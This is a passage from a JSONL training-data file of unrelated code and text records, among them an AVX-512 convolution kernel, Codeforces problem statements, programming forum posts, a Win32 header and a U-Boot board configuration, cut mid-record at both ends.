_mm512_loadu_ps(l_his + 7 * CH_DT_BLK());\n                if (hw_len > 8) zmm8 = _mm512_loadu_ps(l_his + 8 * CH_DT_BLK());\n                if (hw_len > 9) zmm9 = _mm512_loadu_ps(l_his + 9 * CH_DT_BLK());\n                if (hw_len > 10) zmm10 = _mm512_loadu_ps(l_his + 10 * CH_DT_BLK());\n                if (hw_len > 11) zmm11 = _mm512_loadu_ps(l_his + 11 * CH_DT_BLK());\n                if (hw_len > 12) zmm12 = _mm512_loadu_ps(l_his + 12 * CH_DT_BLK());\n                if (hw_len > 13) zmm13 = _mm512_loadu_ps(l_his + 13 * CH_DT_BLK());\n                if (hw_len > 14) zmm14 = _mm512_loadu_ps(l_his + 14 * CH_DT_BLK());\n                if (hw_len > 15) zmm15 = _mm512_loadu_ps(l_his + 15 * CH_DT_BLK());\n                if (hw_len > 16) zmm16 = _mm512_loadu_ps(l_his + 16 * CH_DT_BLK());\n                if (hw_len > 17) zmm17 = _mm512_loadu_ps(l_his + 17 * CH_DT_BLK());\n                if (hw_len > 18) zmm18 = _mm512_loadu_ps(l_his + 18 * CH_DT_BLK());\n                if (hw_len > 19) zmm19 = _mm512_loadu_ps(l_his + 19 * CH_DT_BLK());\n                if (hw_len > 20) zmm20 = _mm512_loadu_ps(l_his + 20 * CH_DT_BLK());\n                if (hw_len > 21) zmm21 = _mm512_loadu_ps(l_his + 21 * CH_DT_BLK());\n                if (hw_len > 22) zmm22 = _mm512_loadu_ps(l_his + 22 * CH_DT_BLK());\n                if (hw_len > 23) zmm23 = _mm512_loadu_ps(l_his + 23 * CH_DT_BLK());\n                if (hw_len > 24) zmm24 = _mm512_loadu_ps(l_his + 24 * CH_DT_BLK());\n                if (hw_len > 25) zmm25 = _mm512_loadu_ps(l_his + 25 * CH_DT_BLK());\n                if (hw_len > 26) zmm26 = _mm512_loadu_ps(l_his + 26 * CH_DT_BLK());\n                if (hw_len > 27) zmm27 = _mm512_loadu_ps(l_his + 27 * CH_DT_BLK());\n                if (hw_len > 28) zmm28 = _mm512_loadu_ps(l_his + 28 * CH_DT_BLK());\n                if (hw_len > 29) zmm29 = _mm512_loadu_ps(l_his + 29 * CH_DT_BLK());\n                if (hw_len > 30) zmm30 = _mm512_loadu_ps(l_his + 30 * CH_DT_BLK());\n            }\n        }\n\n        if (kernel_flags & KERNEL_FLAG_AD_BIAS()) {\n            const float* bias = PICK_PARAM(const float*, priv_param, BIAS_IDX());\n            if (oc_len > 0 * CH_DT_BLK()) {\n                zmm31 = _mm512_loadu_ps(bias + 0 * CH_DT_BLK());\n                if (hw_len > 0) zmm0 = _mm512_add_ps(zmm31, zmm0);\n                if (hw_len > 1) zmm1 = _mm512_add_ps(zmm31, zmm1);\n                if (hw_len > 2) zmm2 = _mm512_add_ps(zmm31, zmm2);\n                if (hw_len > 3) zmm3 = _mm512_add_ps(zmm31, zmm3);\n                if (hw_len > 4) zmm4 = _mm512_add_ps(zmm31, zmm4);\n                if (hw_len > 5) zmm5 = _mm512_add_ps(zmm31, zmm5);\n                if (hw_len > 6) zmm6 = _mm512_add_ps(zmm31, zmm6);\n                if (hw_len > 7) zmm7 = _mm512_add_ps(zmm31, zmm7);\n                if (hw_len > 8) zmm8 = _mm512_add_ps(zmm31, zmm8);\n                if (hw_len > 9) zmm9 = _mm512_add_ps(zmm31, zmm9);\n                if (hw_len > 10) zmm10 = _mm512_add_ps(zmm31, zmm10);\n                if (hw_len > 11) zmm11 = _mm512_add_ps(zmm31, zmm11);\n                if (hw_len > 12) zmm12 = _mm512_add_ps(zmm31, zmm12);\n                if (hw_len > 13) zmm13 = _mm512_add_ps(zmm31, zmm13);\n                if (hw_len > 14) zmm14 = _mm512_add_ps(zmm31, zmm14);\n                if (hw_len > 15) zmm15 = _mm512_add_ps(zmm31, zmm15);\n                if (hw_len > 16) zmm16 = _mm512_add_ps(zmm31, zmm16);\n                if (hw_len > 17) zmm17 = _mm512_add_ps(zmm31, zmm17);\n                if (hw_len > 18) zmm18 = _mm512_add_ps(zmm31, zmm18);\n                if (hw_len > 19) zmm19 = _mm512_add_ps(zmm31, zmm19);\n                if (hw_len > 20) zmm20 = _mm512_add_ps(zmm31, zmm20);\n                if (hw_len > 21) zmm21 = _mm512_add_ps(zmm31, zmm21);\n                if (hw_len > 22) zmm22 = _mm512_add_ps(zmm31, zmm22);\n                if (hw_len > 23) zmm23 = _mm512_add_ps(zmm31, zmm23);\n                if (hw_len > 24) zmm24 = _mm512_add_ps(zmm31, zmm24);\n                if (hw_len > 25) zmm25 = _mm512_add_ps(zmm31, zmm25);\n                if (hw_len > 26) zmm26 = _mm512_add_ps(zmm31, zmm26);\n                if (hw_len > 27) zmm27 = _mm512_add_ps(zmm31, zmm27);\n                if (hw_len > 28) zmm28 = _mm512_add_ps(zmm31, zmm28);\n                if (hw_len > 29) zmm29 = _mm512_add_ps(zmm31, zmm29);\n                if (hw_len > 30) zmm30 = _mm512_add_ps(zmm31, zmm30);\n            }\n        }\n        \n        const float *icb_src = src;\n        const float *icb_flt = PICK_PARAM(const float*, priv_param, FLT_IDX());\n        int64_t channels     = shar_param[CHANNELS_IDX()];\n        while (channels >= CH_DT_BLK()) {\n            channels -= CH_DT_BLK();\n            const float *ic_src = icb_src;\n            const float *ic_flt = icb_flt;\n            for (int64_t ic = 0; ic < CH_DT_BLK(); ++ic) {\n                IC_COMPUTE_STEP(0);\n                ic_src += 1;\n                ic_flt += CH_DT_BLK();\n            }\n            icb_flt += CH_DT_BLK() * CH_DT_BLK();\n            icb_src += src_icb_stride;\n        }\n        if (channels > 0) {\n            const float *ic_src = icb_src;\n            const float *ic_flt = icb_flt;\n            for (int64_t ic = 0; ic < channels; ++ic) {\n                IC_COMPUTE_STEP(0);\n                ic_src += 1;\n                ic_flt += CH_DT_BLK();\n            }\n        }\n        \n        if (kernel_flags & (KERNEL_FLAG_RELU() | KERNEL_FLAG_RELU6())) {\n            zmm31 = _mm512_setzero_ps();\n            if (oc_len > 0 * CH_DT_BLK()) {\n                if (hw_len > 0) zmm0 = _mm512_max_ps(zmm0, zmm31);\n                if (hw_len > 1) zmm1 = _mm512_max_ps(zmm1, zmm31);\n                if (hw_len > 2) zmm2 = _mm512_max_ps(zmm2, zmm31);\n                if (hw_len > 3) zmm3 = _mm512_max_ps(zmm3, zmm31);\n                if (hw_len > 4) zmm4 = _mm512_max_ps(zmm4, zmm31);\n                if (hw_len > 5) zmm5 = _mm512_max_ps(zmm5, zmm31);\n                if (hw_len > 6) zmm6 = _mm512_max_ps(zmm6, zmm31);\n                if (hw_len > 7) zmm7 = _mm512_max_ps(zmm7, zmm31);\n                if (hw_len > 8) zmm8 = _mm512_max_ps(zmm8, zmm31);\n                if (hw_len > 9) zmm9 = _mm512_max_ps(zmm9, zmm31);\n                if (hw_len > 10) zmm10 = _mm512_max_ps(zmm10, zmm31);\n                if (hw_len > 11) zmm11 = _mm512_max_ps(zmm11, zmm31);\n                if (hw_len > 12) zmm12 = _mm512_max_ps(zmm12, zmm31);\n                if (hw_len > 13) zmm13 = _mm512_max_ps(zmm13, zmm31);\n                if (hw_len > 14) zmm14 = _mm512_max_ps(zmm14, zmm31);\n                if (hw_len > 15) zmm15 = _mm512_max_ps(zmm15, zmm31);\n                if (hw_len > 16) zmm16 = _mm512_max_ps(zmm16, zmm31);\n                if (hw_len > 17) zmm17 = _mm512_max_ps(zmm17, zmm31);\n                if (hw_len > 18) zmm18 = _mm512_max_ps(zmm18, zmm31);\n                if (hw_len > 19) zmm19 = _mm512_max_ps(zmm19, zmm31);\n                if (hw_len > 20) zmm20 = _mm512_max_ps(zmm20, zmm31);\n                if (hw_len > 21) zmm21 = _mm512_max_ps(zmm21, zmm31);\n                if (hw_len > 22) zmm22 = _mm512_max_ps(zmm22, zmm31);\n                if (hw_len > 23) zmm23 = _mm512_max_ps(zmm23, zmm31);\n                if (hw_len > 24) zmm24 = _mm512_max_ps(zmm24, zmm31);\n                if (hw_len > 25) zmm25 = _mm512_max_ps(zmm25, zmm31);\n                if (hw_len > 26) zmm26 = _mm512_max_ps(zmm26, zmm31);\n                if (hw_len > 27) zmm27 = _mm512_max_ps(zmm27, zmm31);\n                if (hw_len > 28) zmm28 = _mm512_max_ps(zmm28, zmm31);\n                if (hw_len > 29) zmm29 = _mm512_max_ps(zmm29, zmm31);\n                if (hw_len > 30) zmm30 = _mm512_max_ps(zmm30, zmm31);\n            }\n        }\n        if (kernel_flags & KERNEL_FLAG_RELU6()) {\n            zmm31 = _mm512_set1_ps(6.0f);\n            if (oc_len > 0 * CH_DT_BLK()) {\n                if (hw_len > 0) zmm0 = _mm512_min_ps(zmm0, zmm31);\n                if (hw_len > 1) zmm1 = _mm512_min_ps(zmm1, zmm31);\n                if (hw_len > 2) zmm2 = _mm512_min_ps(zmm2, zmm31);\n                if (hw_len > 3) zmm3 = _mm512_min_ps(zmm3, zmm31);\n                if (hw_len > 4) zmm4 = _mm512_min_ps(zmm4, zmm31);\n                if (hw_len > 5) zmm5 = _mm512_min_ps(zmm5, zmm31);\n                if (hw_len > 6) zmm6 = _mm512_min_ps(zmm6, zmm31);\n                if (hw_len > 7) zmm7 = _mm512_min_ps(zmm7, zmm31);\n                if (hw_len > 8) zmm8 = _mm512_min_ps(zmm8, zmm31);\n                if (hw_len > 9) zmm9 = _mm512_min_ps(zmm9, zmm31);\n                if (hw_len > 10) zmm10 = _mm512_min_ps(zmm10, zmm31);\n                if (hw_len > 11) zmm11 = _mm512_min_ps(zmm11, zmm31);\n                if (hw_len > 12) zmm12 = _mm512_min_ps(zmm12, zmm31);\n                if (hw_len > 13) zmm13 = _mm512_min_ps(zmm13, zmm31);\n                if (hw_len > 14) zmm14 = _mm512_min_ps(zmm14, zmm31);\n                if (hw_len > 15) zmm15 = _mm512_min_ps(zmm15, zmm31);\n                if (hw_len > 16) zmm16 = _mm512_min_ps(zmm16, zmm31);\n                if (hw_len > 17) zmm17 = _mm512_min_ps(zmm17, zmm31);\n                if (hw_len > 18) zmm18 = _mm512_min_ps(zmm18, zmm31);\n                if (hw_len > 19) zmm19 = _mm512_min_ps(zmm19, zmm31);\n                if (hw_len > 20) zmm20 = _mm512_min_ps(zmm20, zmm31);\n                if (hw_len > 21) zmm21 = _mm512_min_ps(zmm21, zmm31);\n                if (hw_len > 22) zmm22 = _mm512_min_ps(zmm22, zmm31);\n                if (hw_len > 23) zmm23 = _mm512_min_ps(zmm23, zmm31);\n                if (hw_len > 24) zmm24 = _mm512_min_ps(zmm24, zmm31);\n                if (hw_len > 25) zmm25 = _mm512_min_ps(zmm25, zmm31);\n                if (hw_len > 26) zmm26 = _mm512_min_ps(zmm26, zmm31);\n                if (hw_len > 27) zmm27 = _mm512_min_ps(zmm27, zmm31);\n                if (hw_len > 28) zmm28 = _mm512_min_ps(zmm28, zmm31);\n                if (hw_len > 29) zmm29 = _mm512_min_ps(zmm29, zmm31);\n                if (hw_len > 30) zmm30 = _mm512_min_ps(zmm30, zmm31);\n            }\n        }\n\n        if (nt_store) {\n            float* l_dst = dst;\n            if (oc_len > 0 * CH_DT_BLK()) {\n                if (hw_len > 0) _mm512_stream_ps(l_dst + 0 * CH_DT_BLK(), zmm0);\n                if (hw_len > 1) _mm512_stream_ps(l_dst + 1 * CH_DT_BLK(), zmm1);\n                if (hw_len > 2) _mm512_stream_ps(l_dst + 2 * CH_DT_BLK(), zmm2);\n                if (hw_len > 3) _mm512_stream_ps(l_dst + 3 * CH_DT_BLK(), zmm3);\n                if (hw_len > 4) _mm512_stream_ps(l_dst + 4 * CH_DT_BLK(), zmm4);\n                if (hw_len > 5) _mm512_stream_ps(l_dst + 5 * CH_DT_BLK(), zmm5);\n                if (hw_len > 6) _mm512_stream_ps(l_dst + 6 * CH_DT_BLK(), zmm6);\n                if (hw_len > 7) _mm512_stream_ps(l_dst + 7 * CH_DT_BLK(), zmm7);\n                if (hw_len > 8) _mm512_stream_ps(l_dst + 8 * CH_DT_BLK(), zmm8);\n                if (hw_len > 9) _mm512_stream_ps(l_dst + 9 * CH_DT_BLK(), zmm9);\n                if (hw_len > 10) _mm512_stream_ps(l_dst + 10 * CH_DT_BLK(), zmm10);\n                if (hw_len > 11) _mm512_stream_ps(l_dst + 11 * CH_DT_BLK(), zmm11);\n                if (hw_len > 12) _mm512_stream_ps(l_dst + 12 * CH_DT_BLK(), zmm12);\n                if (hw_len > 13) _mm512_stream_ps(l_dst + 13 * CH_DT_BLK(), zmm13);\n                if (hw_len > 14) _mm512_stream_ps(l_dst + 14 * CH_DT_BLK(), zmm14);\n                if (hw_len > 15) _mm512_stream_ps(l_dst + 15 * CH_DT_BLK(), zmm15);\n                if (hw_len > 16) _mm512_stream_ps(l_dst + 16 * CH_DT_BLK(), zmm16);\n                if (hw_len > 17) _mm512_stream_ps(l_dst + 17 * CH_DT_BLK(), zmm17);\n                if (hw_len > 18) _mm512_stream_ps(l_dst + 18 * CH_DT_BLK(), zmm18);\n                if (hw_len > 19) _mm512_stream_ps(l_dst + 19 * CH_DT_BLK(), zmm19);\n                if (hw_len > 20) _mm512_stream_ps(l_dst + 20 * CH_DT_BLK(), zmm20);\n                if (hw_len > 21) _mm512_stream_ps(l_dst + 21 * CH_DT_BLK(), zmm21);\n                if (hw_len > 22) _mm512_stream_ps(l_dst + 22 * CH_DT_BLK(), zmm22);\n                if (hw_len > 23) _mm512_stream_ps(l_dst + 23 * CH_DT_BLK(), zmm23);\n                if (hw_len > 24) _mm512_stream_ps(l_dst + 24 * CH_DT_BLK(), zmm24);\n                if (hw_len > 25) _mm512_stream_ps(l_dst + 25 * CH_DT_BLK(), zmm25);\n                if (hw_len > 26) _mm512_stream_ps(l_dst + 26 * CH_DT_BLK(), zmm26);\n                if (hw_len > 27) _mm512_stream_ps(l_dst + 27 * CH_DT_BLK(), zmm27);\n                if (hw_len > 28) _mm512_stream_ps(l_dst + 28 * CH_DT_BLK(), zmm28);\n                if (hw_len > 29) _mm512_stream_ps(l_dst + 29 * CH_DT_BLK(), zmm29);\n                if (hw_len > 30) _mm512_stream_ps(l_dst + 30 * CH_DT_BLK(), zmm30);\n            }\n        } else {\n            float* l_dst = dst;\n            if (oc_len > 0 * CH_DT_BLK()) {\n                if (hw_len > 0) _mm512_storeu_ps(l_dst + 0 * CH_DT_BLK(), zmm0);\n                if (hw_len > 1) _mm512_storeu_ps(l_dst + 1 * CH_DT_BLK(), zmm1);\n                if (hw_len > 2) _mm512_storeu_ps(l_dst + 2 * CH_DT_BLK(), zmm2);\n                if (hw_len > 3) _mm512_storeu_ps(l_dst + 3 * CH_DT_BLK(), zmm3);\n                if (hw_len > 4) _mm512_storeu_ps(l_dst + 4 * CH_DT_BLK(), zmm4);\n                if (hw_len > 5) _mm512_storeu_ps(l_dst + 5 * CH_DT_BLK(), zmm5);\n                if (hw_len > 6) _mm512_storeu_ps(l_dst + 6 * CH_DT_BLK(), zmm6);\n                if (hw_len > 7) _mm512_storeu_ps(l_dst + 7 * CH_DT_BLK(), zmm7);\n                if (hw_len > 8) _mm512_storeu_ps(l_dst + 8 * CH_DT_BLK(), zmm8);\n                if (hw_len > 9) _mm512_storeu_ps(l_dst + 9 * CH_DT_BLK(), zmm9);\n                if (hw_len > 10) _mm512_storeu_ps(l_dst + 10 * CH_DT_BLK(), zmm10);\n                if (hw_len > 11) _mm512_storeu_ps(l_dst + 11 * CH_DT_BLK(), zmm11);\n                if (hw_len > 12) _mm512_storeu_ps(l_dst + 12 * CH_DT_BLK(), zmm12);\n                if (hw_len > 13) _mm512_storeu_ps(l_dst + 13 * CH_DT_BLK(), zmm13);\n                if (hw_len > 14) _mm512_storeu_ps(l_dst + 14 * CH_DT_BLK(), zmm14);\n                if (hw_len > 15) _mm512_storeu_ps(l_dst + 15 * CH_DT_BLK(), zmm15);\n                if (hw_len > 16) _mm512_storeu_ps(l_dst + 16 * CH_DT_BLK(), zmm16);\n                if (hw_len > 17) _mm512_storeu_ps(l_dst + 17 * CH_DT_BLK(), zmm17);\n                if (hw_len > 18) _mm512_storeu_ps(l_dst + 18 * CH_DT_BLK(), zmm18);\n                if (hw_len > 19) _mm512_storeu_ps(l_dst + 19 * CH_DT_BLK(), zmm19);\n                if (hw_len > 20) _mm512_storeu_ps(l_dst + 20 * CH_DT_BLK(), zmm20);\n                if (hw_len > 21) _mm512_storeu_ps(l_dst + 21 * CH_DT_BLK(), zmm21);\n                if (hw_len > 22) _mm512_storeu_ps(l_dst + 22 * CH_DT_BLK(), zmm22);\n                if (hw_len > 23) _mm512_storeu_ps(l_dst + 23 * CH_DT_BLK(), zmm23);\n                if (hw_len > 24) _mm512_storeu_ps(l_dst + 24 * CH_DT_BLK(), zmm24);\n                if (hw_len > 25) _mm512_storeu_ps(l_dst + 25 * CH_DT_BLK(), zmm25);\n                if (hw_len > 26) _mm512_storeu_ps(l_dst + 26 * CH_DT_BLK(), zmm26);\n                if (hw_len > 27) _mm512_storeu_ps(l_dst + 27 * CH_DT_BLK(), zmm27);\n                if (hw_len > 28) _mm512_storeu_ps(l_dst + 28 * CH_DT_BLK(), zmm28);\n                if (hw_len > 29) _mm512_storeu_ps(l_dst + 29 * CH_DT_BLK(), zmm29);\n                if (hw_len > 30) _mm512_storeu_ps(l_dst + 30 * CH_DT_BLK(), zmm30);\n            }\n        }\n        src += hw_len * CH_DT_BLK();\n        his += hw_len * CH_DT_BLK();\n        dst += hw_len * CH_DT_BLK();\n        hw -= hw_len;\n    } while (hw > 0);\n#undef IC_COMPUTE_STEP\n}\n\n}}};\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 25228, "token_count_with_eod": 25229, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Remember “multitwitch”? (reference: http://multitwitch.tv/)\nFirst off, I am a responsible and disciplined Twitch Partner, to by best ability I will in no way ever knowingly break the ToS. That said, I am at a cross-roads with an app I want to develop.\nI am testing an app that auto-syndicates a multitwitch-like webpage. In other words, a webpage that embeds more than one twitch stream based on a list of names. The list of names is made when a streamers adds their name to the list and opens the webpage which contains multiple embedded streams.\nWe already tested this, and it works really well. The handful of participating streamers are getting 5-10x more views, and the streamers and viewers alike love it.\nI just want to make sure this is not “misuse” of any Twitch services, and confirm this is not automated viewing (viewbotting) in any way. Multi-Twitch (http://multitwitch.tv/) seems to be OK, and i want to make sure that syndicating the list of multi-twitchers is not somehow changing things.\nThe question might be stated like: When you open a browser with multiple embedded streamers on it (based on a syndicated list of streamers), are you or anyone else misusing Twitch servers?\nI just want to make sure I am not missing something here. Thank you guys!\nNote: I am not as much interested in discussing other details of this app, eg community perception or how uninformed viewers may feel about “embedding”. I am only interested in the rules and ToS for now. IF we pass that, then im happy to discuss more logistics and community perception. You may be interested to know that the community (including viewers and streamers) so far LOVES this idea and cant wait to see this launch.\nThanks and cheers!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 393, "token_count_with_eod": 394, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You have $$$c_1$$$ letters 'a', $$$c_2$$$ letters 'b', ..., $$$c_{26}$$$ letters 'z'. You want to build a beautiful string of length $$$n$$$ from them (obviously, you cannot use the $$$i$$$-th letter more than $$$c_i$$$ times). Each $$$c_i$$$ is greater than $$$\\frac{n}{3}$$$.\n\nA string is called beautiful if there are no palindromic contiguous substrings of odd length greater than $$$1$$$ in it. For example, the string \"abacaba\" is not beautiful, it has several palindromic substrings of odd length greater than $$$1$$$ (for example, \"aca\"). Another example: the string \"abcaa\" is beautiful.\n\nCalculate the number of different strings you can build, and print the answer modulo $$$998244353$$$.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "A superhero fights with a monster. The battle consists of rounds, each of which lasts exactly $$$n$$$ minutes. After a round ends, the next round starts immediately. This is repeated over and over again.\n\nEach round has the same scenario. It is described by a sequence of $$$n$$$ numbers: $$$d_1, d_2, \\dots, d_n$$$ ($$$-10^6 \\le d_i \\le 10^6$$$). The $$$i$$$-th element means that monster's hp (hit points) changes by the value $$$d_i$$$ during the $$$i$$$-th minute of each round. Formally, if before the $$$i$$$-th minute of a round the monster's hp is $$$h$$$, then after the $$$i$$$-th minute it changes to $$$h := h + d_i$$$.\n\nThe monster's initial hp is $$$H$$$. It means that before the battle the monster has $$$H$$$ hit points. Print the first minute after which the monster dies. The monster dies if its hp is less than or equal to $$$0$$$. Print -1 if the battle continues infinitely.", "source": "cpt_codeforces", "language": "en", "token_count": 239, "token_count_with_eod": 240, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Vasilisa the Wise from the Kingdom of Far Far Away got a magic box with a secret as a present from her friend Hellawisa the Wise from the Kingdom of A Little Closer. However, Vasilisa the Wise does not know what the box's secret is, since she cannot open it again. She hopes that you will help her one more time with that.\n\nThe box's lock looks as follows: it contains 4 identical deepenings for gems as a 2 × 2 square, and some integer numbers are written at the lock's edge near the deepenings. The example of a lock is given on the picture below.\n\nThe box is accompanied with 9 gems. Their shapes match the deepenings' shapes and each gem contains one number from 1 to 9 (each number is written on exactly one gem). The box will only open after it is decorated with gems correctly: that is, each deepening in the lock should be filled with exactly one gem. Also, the sums of numbers in the square's rows, columns and two diagonals of the square should match the numbers written at the lock's edge. For example, the above lock will open if we fill the deepenings with gems with numbers as is shown on the picture below.\n\nNow Vasilisa the Wise wants to define, given the numbers on the box's lock, which gems she should put in the deepenings to open the box. Help Vasilisa to solve this challenging task.", "source": "cpt_codeforces", "language": "en", "token_count": 302, "token_count_with_eod": 303, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "#ifndef WIN32_H\n#define WIN32_H\n\n#include <QtGlobal>\n\n#ifdef Q_OS_WIN\n\n#include <QFileInfo>\n#include <QString>\n\nnamespace Farman\n{\n\nnamespace Win32\n{\n\nextern bool isSystemFile(const QFileInfo& fileInfo);\nextern qint64 getFileSizeOnDisk(const QString& filePath);\nextern QString getCompilerVersion();\n\n}           // namespace Win32\n\n}           // namespace Farman\n\nusing namespace Farman::Win32;\n\n#endif\n\n#endif // WIN32_H", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Graduate NYC! CUNY/DOE College Readiness and Success Initiative\nThe Office of Undergraduate Studies participates in the CUNY/ NYC Department of Education College Readiness and Success Initiative.\nIn August 2010, as part of their Postsecondary strategy, the Bill and Melinda Gates Foundation awarded New York City $3 million over three years for the Graduate NYC! College Readiness & Success initiative. This initiative brings together the resources of the Mayor’s Office, the NYC Department of Education, the City University of New York, several city agencies, and an extensive group of local community-based organizations, with the goal of “doubling the number” of CUNY graduates by 2020. The Mayor and the Chancellors have committed to significantly improving the educational outcomes of all New York City students. To accomplish this ambitious goal Graduate NYC! has developed seven project based teams that will focus on student skills proficiency, advisement and planning along the postsecondary continuum, and operational improvements. This effort is the result of a shared belief that improving high school and college outcomes for all students is imperative to the city’s long term health and economic stability.\nGraduate NYC! resources:\n- Graduate NYC! Project Update (Graduate NYC, 2012) <pdf>\n- Graduate NYC! Curriculum Alignment Project Overview (Graduate NYC, 2012) <pdf>\n- Graduate NYC! Early Intervention Project Overview (Graduate NYC, 2012) <pdf>\n- Graduate NYC! Overview (Graduate NYC, 2010) <pdf>\n- Graduate NYC! Project Descriptions (Graduate NYC, 2010) <pdf>", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 354, "token_count_with_eod": 355, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Please could you let me know how to apply paragraph styles and set the overall workbook theme via Aspose.\nYou mean MS Excel 2007 Themes feature in Page Layout menu packet, well, you should use your own code to apply style formatting (provided in themes) for cell shading colors, fonts and other attributes etc. using Aspose.Cells APIs.\nWe will look into the feature in our future versions though.\nThank you for considering Aspose.\nPlease try the attached version. We have supported to set style formatting with theme color. The following code shows how to set style formatting with theme color:\nprivate static void UseThemeColor()\nstring outfn = _path + \"UseThemeColor_out.xlsx\";\nWorkbook workbook = new Workbook();\nCells cells = workbook.Worksheets.Cells;\nCell c = cells[\"D3\"];\nStyle s = c.GetStyle();\ns.ForegroundThemeColor = new ThemeColor(ThemeColorType.Accent2, 0.5);\ns.Pattern = BackgroundType.Solid;\nFont f = s.Font;\nf.ThemeColor = new ThemeColor(ThemeColorType.Accent4, 0.1);\nThank You & Best Regards,", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 247, "token_count_with_eod": 248, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given circular array a0, a1, ..., an - 1. There are two types of operations with it:\n\n- inc(lf, rg, v) — this operation increases each element on the segment [lf, rg] (inclusively) by v;\n- rmq(lf, rg) — this operation returns minimal value on the segment [lf, rg] (inclusively).\n\nAssume segments to be circular, so if n = 5 and lf = 3, rg = 1, it means the index sequence: 3, 4, 0, 1.\n\nWrite program to process given sequence of operations.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Norm is an intrinsic generally used in all the DSP processors. It calculates the number of bits which are of same as of sign bits.\nFor example, if the processor has 32 bit number say, int x.\nx =19; // 19 in binary will be 0x00000013\nand now I do norm(x) on TI DSP it gives the the shift count as 26. This 26 tells me how much this number can be left shifted.\nIs there any such instruction available in AMD opteron machine?", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a weighted directed graph with $$$n$$$ vertices and $$$m$$$ edges. Each vertex in the graph can be either highlighted or normal. Initially, all vertices are normal. The cost of the graph is defined as the minimum sum of edge weights that need to be selected so that from each normal vertex one can reach at least one highlighted vertex using the selected edges only. If it is not possible to select the edges, the cost is $$$-1$$$ instead.\n\nYour task is to compute the cost of the graph after each of the $$$q$$$ queries. The queries can be of two types:\n\n- $$$+\\;v_i$$$ makes vertex $$$v_i$$$ highlighted; it is guaranteed that the vertex is normal before the query.\n- $$$-\\;v_i$$$ makes vertex $$$v_i$$$ normal; it is guaranteed that the vertex is highlighted before the query.\n\nOutput the cost of the graph after each of the $$$q$$$ queries.", "source": "cpt_codeforces", "language": "en", "token_count": 195, "token_count_with_eod": 196, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "If our login (email) and password are stolen, can we lose anything?\nWe will not supply a new order using a customer's account balance if Bill To and Ship To are changed. We only hold a credit balance when we have been unable to supply an order in full, and such balances are usually very small. We will not refund a balance upon an email request. So it is extremely unlikely anyone can benefit from stealing your login and password.\nHowever, if you know your login and password have been stolen, please inform us. We will block your account and you can open a new account.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given an array of integers $$$a_1, a_2, \\ldots, a_n$$$ and a number $$$k$$$ ($$$2 \\leq k \\leq 5$$$). In one operation, you can do the following:\n\n- Choose an index $$$1 \\leq i \\leq n$$$,\n- Set $$$a_i = a_i + 1$$$.\n\nFind the minimum number of operations needed to make the product of all the numbers in the array $$$a_1 \\cdot a_2 \\cdot \\ldots \\cdot a_n$$$ divisible by $$$k$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 128, "token_count_with_eod": 129, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given an array of length n and a number k. Let's pick k non-overlapping non-empty subarrays of the initial array. Let si be the sum of the i-th subarray in order from left to right. Compute the maximum value of the following expression:\n\n|s1 - s2| + |s2 - s3| + ... + |sk - 1 - sk|\n\nHere subarray is a contiguous part of an array.", "source": "cpt_codeforces", "language": "en", "token_count": 95, "token_count_with_eod": 96, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I’m a committed and driven consultant who enjoy working in customer-oriented projects. I have good experience in designing and developing customer-specific IT solutions in .NET. I’m passionate about “Continuous learning” and read blogs and test new technologies regularly. I’m aiming at always leaving my projects with well structured code, which together with well-balanced design solutions makes them easy to maintain.\nI believe in Open source and are an active member at Github, you can take a look at my projects and contributions at My Github profile.\nI’m the founder of MDA Digital LLC which aims to deliver senior system architects to customers in Sweden and rest of the world.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 131, "token_count_with_eod": 132, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/*\n * (C) Copyright 2000-2005\n * Wolfgang Denk, DENX Software Engineering, wd@denx.de.\n *\n * SPDX-License-Identifier:\tGPL-2.0+\n */\n\n/*\n * board/config.h - configuration options, board specific\n */\n\n#ifndef __CONFIG_H\n#define __CONFIG_H\n\n/*\n * High Level Configuration Options\n * (easy to change)\n */\n\n#define CONFIG_405EP\t\t1\t/* This is a PPC405 CPU\t\t*/\n#define CONFIG_BUBINGA\t        1\t/* ...on a BUBINGA board\t*/\n\n#define\tCONFIG_SYS_TEXT_BASE\t0xFFFC0000\n\n/*\n * Include common defines/options for all AMCC eval boards\n */\n#define CONFIG_HOSTNAME\t\tbubinga\n#include \"amcc-common.h\"\n\n#define CONFIG_BOARD_EARLY_INIT_F 1\t/* Call board_early_init_f\t*/\n\n#define CONFIG_SYS_CLK_FREQ     33333333 /* external frequency to pll   */\n\n#define CONFIG_NO_SERIAL_EEPROM\n/*#undef CONFIG_NO_SERIAL_EEPROM*/\n/*----------------------------------------------------------------------------*/\n#ifdef CONFIG_NO_SERIAL_EEPROM\n\n/*\n!-------------------------------------------------------------------------------\n! Defines for entry options.\n! Note: Because the 405EP SDRAM controller does not support ECC, ECC DIMMs that\n!       are plugged in the board will be utilized as non-ECC DIMMs.\n!-------------------------------------------------------------------------------\n*/\n#define        AUTO_MEMORY_CONFIG\n#define        DIMM_READ_ADDR 0xAB\n#define        DIMM_WRITE_ADDR 0xAA\n\n/*\n!-------------------------------------------------------------------------------\n! PLL settings for 266MHz CPU, 133MHz 